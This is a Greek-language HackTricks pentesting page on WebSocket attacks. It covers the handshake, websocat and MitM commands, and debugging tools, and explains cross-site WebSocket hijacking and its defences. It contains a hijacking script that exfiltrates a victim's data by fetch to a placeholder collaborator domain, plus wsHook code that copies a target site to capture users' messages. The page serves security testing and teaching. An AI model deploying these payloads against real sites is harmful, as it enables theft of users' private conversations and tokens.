WebSocket Attacks

Reading time: 11 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι τα WebSockets

Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής HTTP χειραψίας και είναι σχεδιασμένες να είναι μακροχρόνιες, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.

Δημιουργία Συνδέσεων WebSocket

Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί εδώ. Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς του πελάτη όπως φαίνεται παρακάτω:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Το πρωτόκολλο wss σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με TLS, ενώ το ws υποδεικνύει μια μη ασφαλή σύνδεση.

Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:

Το πρόγραμμα περιήγησης στέλνει ένα αίτημα χειραψίας:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Απάντηση χειραψίας διακομιστή:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.

Βασικά Σημεία του WebSocket Handshake:

  • Οι κεφαλίδες Connection και Upgrade σηματοδοτούν την έναρξη ενός WebSocket handshake.
  • Η κεφαλίδα Sec-WebSocket-Version υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως 13.
  • Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα Sec-WebSocket-Key, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για να επιβεβαιώσει ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.
  • Η κεφαλίδα Sec-WebSocket-Accept στην απάντηση του διακομιστή είναι ένα hash της Sec-WebSocket-Key, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.

Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.

Linux console

Μπορείτε να χρησιμοποιήσετε το websocat για να καθορίσετε μια ακατέργαστη σύνδεση με ένα websocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Ή για να δημιουργήσετε έναν διακομιστή websocat:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Αν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα HTTP websocket από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε μια ARP Spoofing Attack για να εκτελέσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή.
Μόλις ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε στη συνέχεια να χρησιμοποιήσετε:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Μπορείτε να χρησιμοποιήσετε το tool https://github.com/PalindromeLabs/STEWS για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές ευπάθειες στα websockets αυτόματα.

Websocket Debug tools

  • Το Burp Suite υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.
  • Η socketsleuth επέκταση του Burp Suite θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το ιστορικό, ρυθμίζοντας κανόνες παρεμβολής, χρησιμοποιώντας κανόνες αντιστοίχισης και αντικατάστασης, χρησιμοποιώντας Intruder και AutoRepeater.
  • WSSiP: Συντομογραφία για "WebSocket/Socket.io Proxy", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
  • wsrepl είναι ένα διαδραστικό websocket REPL σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση εισερχόμενων μηνυμάτων websocket και αποστολής νέων, με ένα εύχρηστο πλαίσιο για αυτοματοποίηση αυτής της επικοινωνίας.
  • https://websocketking.com/ είναι ένα web για επικοινωνία με άλλα webs χρησιμοποιώντας websockets.
  • https://hoppscotch.io/realtime/websocket μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει ένα web για επικοινωνία με άλλα webs χρησιμοποιώντας websockets.

Decrypting Websocket

Websocket Lab

Στο Burp-Suite-Extender-Montoya-Course έχετε έναν κώδικα για να εκκινήσετε ένα web χρησιμοποιώντας websockets και σε αυτή την ανάρτηση μπορείτε να βρείτε μια εξήγηση.

Websocket Fuzzing

Η επέκταση burp Backslash Powered Scanner τώρα επιτρέπει επίσης την fuzzing των μηνυμάτων WebSocket. Μπορείτε να διαβάσετε περισσότερες πληροφορίες γι' αυτό εδώ.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, γνωστό και ως cross-origin WebSocket hijacking, αναγνωρίζεται ως μια συγκεκριμένη περίπτωση Cross-Site Request Forgery (CSRF) που επηρεάζει τις χειραψίες WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι χειραψίες WebSocket αυθεντικοποιούνται αποκλειστικά μέσω HTTP cookies χωρίς CSRF tokens ή παρόμοια μέτρα ασφαλείας.

Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια κακόβουλη ιστοσελίδα που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών.

Για να λειτουργήσει αυτή η επίθεση, αυτές είναι οι απαιτήσεις:

  • Η αυθεντικοποίηση websocket πρέπει να βασίζεται σε cookie
  • Το cookie πρέπει να είναι προσβάσιμο από τον διακομιστή των επιτιθέμενων (αυτό συνήθως σημαίνει SameSite=None) και να μην είναι ενεργοποιημένη η Firefox Total Cookie Protection στο Firefox και να μην υπάρχουν μπλοκαρισμένα τρίτα cookies στο Chrome.
  • Ο διακομιστής websocket δεν πρέπει να ελέγχει την προέλευση της σύνδεσης (ή αυτό πρέπει να είναι παρακάμψιμο)

Επίσης:

  • Εάν η αυθεντικοποίηση βασίζεται σε τοπική σύνδεση (σε localhost ή σε τοπικό δίκτυο) η επίθεση θα είναι δυνατή καθώς καμία τρέχουσα προστασία δεν το απαγορεύει (ελέγξτε περισσότερες πληροφορίες εδώ)

Simple Attack

Σημειώστε ότι όταν ιδρύεται μια websocket σύνδεση το cookie αποστέλλεται στον διακομιστή. Ο διακομιστής μπορεί να το χρησιμοποιεί για να σχετίσει κάθε συγκεκριμένο χρήστη με τη συνεδρία websocket του βασισμένη στο αποσταλθέν cookie.

Έτσι, αν για παράδειγμα ο διακομιστής websocket επιστρέψει το ιστορικό της συνομιλίας ενός χρήστη αν αποσταλεί ένα μήνυμα με "READY", τότε μια απλή XSS που ιδρύει τη σύνδεση (το cookie θα σταλεί αυτόματα για να εξουσιοδοτήσει τον θύμα χρήστη) στέλνοντας "READY" θα είναι σε θέση να ανακτήσει το ιστορικό της συνομιλίας.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ ο επιτιθέμενος κατάφερε να εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν υποτομέας, το cookie αποστέλλοταν, και επειδή το Websocket δεν έλεγξε σωστά την προέλευση, ήταν δυνατό να επικοινωνήσει μαζί του και να κλέψει tokens από αυτό.

Stealing data from user

Αντιγράψτε την εφαρμογή ιστού που θέλετε να προσποιηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Τώρα κατεβάστε το wsHook.js αρχείο από https://github.com/skepticfx/wshook και αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού.
Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket:

javascript
sudo python3 -m http.server 80

CSWSH Προστασίες

Η επίθεση CSWSH βασίζεται στο γεγονός ότι ένας χρήστης θα συνδεθεί σε μια κακόβουλη σελίδα που θα ανοίξει μια σύνδεση websocket σε μια ιστοσελίδα στην οποία ο χρήστης είναι ήδη συνδεδεμένος και θα αυθεντικοποιηθεί ως αυτός καθώς το αίτημα θα στείλει τα cookies του χρήστη.

Σήμερα, είναι πολύ εύκολο να προληφθεί αυτό το ζήτημα:

  • Έλεγχος προέλευσης από τον διακομιστή websocket: Ο διακομιστής websocket θα πρέπει πάντα να ελέγχει από πού συνδέεται ένας χρήστης για να αποτρέψει απροσδόκητες σελίδες να συνδεθούν σε αυτόν.
  • Διακριτικό αυθεντικοποίησης: Αντί να βασίζεται η αυθεντικοποίηση σε ένα cookie, η σύνδεση websocket θα μπορούσε να βασίζεται σε ένα διακριτικό που δημιουργείται από τον διακομιστή για τον χρήστη άγνωστο στον επιτιθέμενο (όπως ένα διακριτικό κατά της CSRF).
  • Χαρακτηριστικό Cookie SameSite: Τα cookies με τιμή SameSite ως Lax ή Strict δεν θα σταλούν από μια εξωτερική σελίδα επιτιθέμενου στον διακομιστή του θύματος, επομένως, η αυθεντικοποίηση με βάση τα cookies δεν θα είναι επιτυχής. Σημειώστε ότι το Chrome τώρα θέτει την τιμή Lax στα cookies χωρίς αυτή τη σημαία, καθιστώντας το πιο ασφαλές από προεπιλογή. Ωστόσο, τα πρώτα 2 λεπτά που δημιουργείται ένα cookie θα έχει την τιμή None, καθιστώντας το ευάλωτο κατά τη διάρκεια αυτής της περιορισμένης περιόδου (αναμένεται επίσης ότι αυτό το μέτρο θα καταργηθεί κάποια στιγμή).
  • Προστασία Cookies Total του Firefox: Η Total Cookie Protection λειτουργεί απομονώνοντας τα cookies στη σελίδα στην οποία δημιουργούνται. Ουσιαστικά, κάθε σελίδα έχει το δικό της διαμέρισμα αποθήκευσης cookies για να αποτρέψει τρίτους να συνδέσουν την ιστορικό περιήγησης ενός χρήστη. Αυτό καθιστά αδύνατη την CSWSH καθώς η σελίδα των επιτιθέμενων δεν θα έχει πρόσβαση στα cookies.
  • Φραγή τρίτων cookies του Chrome: Αυτό θα μπορούσε επίσης να αποτρέψει την αποστολή του cookie του αυθεντικοποιημένου χρήστη στον διακομιστή websocket ακόμη και με SameSite=None.

Συνθήκες Αγώνα

Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα ζήτημα, ελέγξτε αυτή την πληροφορία για να μάθετε περισσότερα.

Άλλες ευπάθειες

Καθώς τα Web Sockets είναι μηχανισμός για αποστολή δεδομένων προς τον διακομιστή και τον πελάτη, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση αρκετών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.

WebSocket Smuggling

Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης κάνοντάς τους να πιστεύουν ότι μια επικοινωνία websocket έχει καθιερωθεί (ακόμη και αν δεν είναι αληθές). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να πρόσβαση σε κρυφές τελικές οντότητες. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:

Upgrade Header Smuggling

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks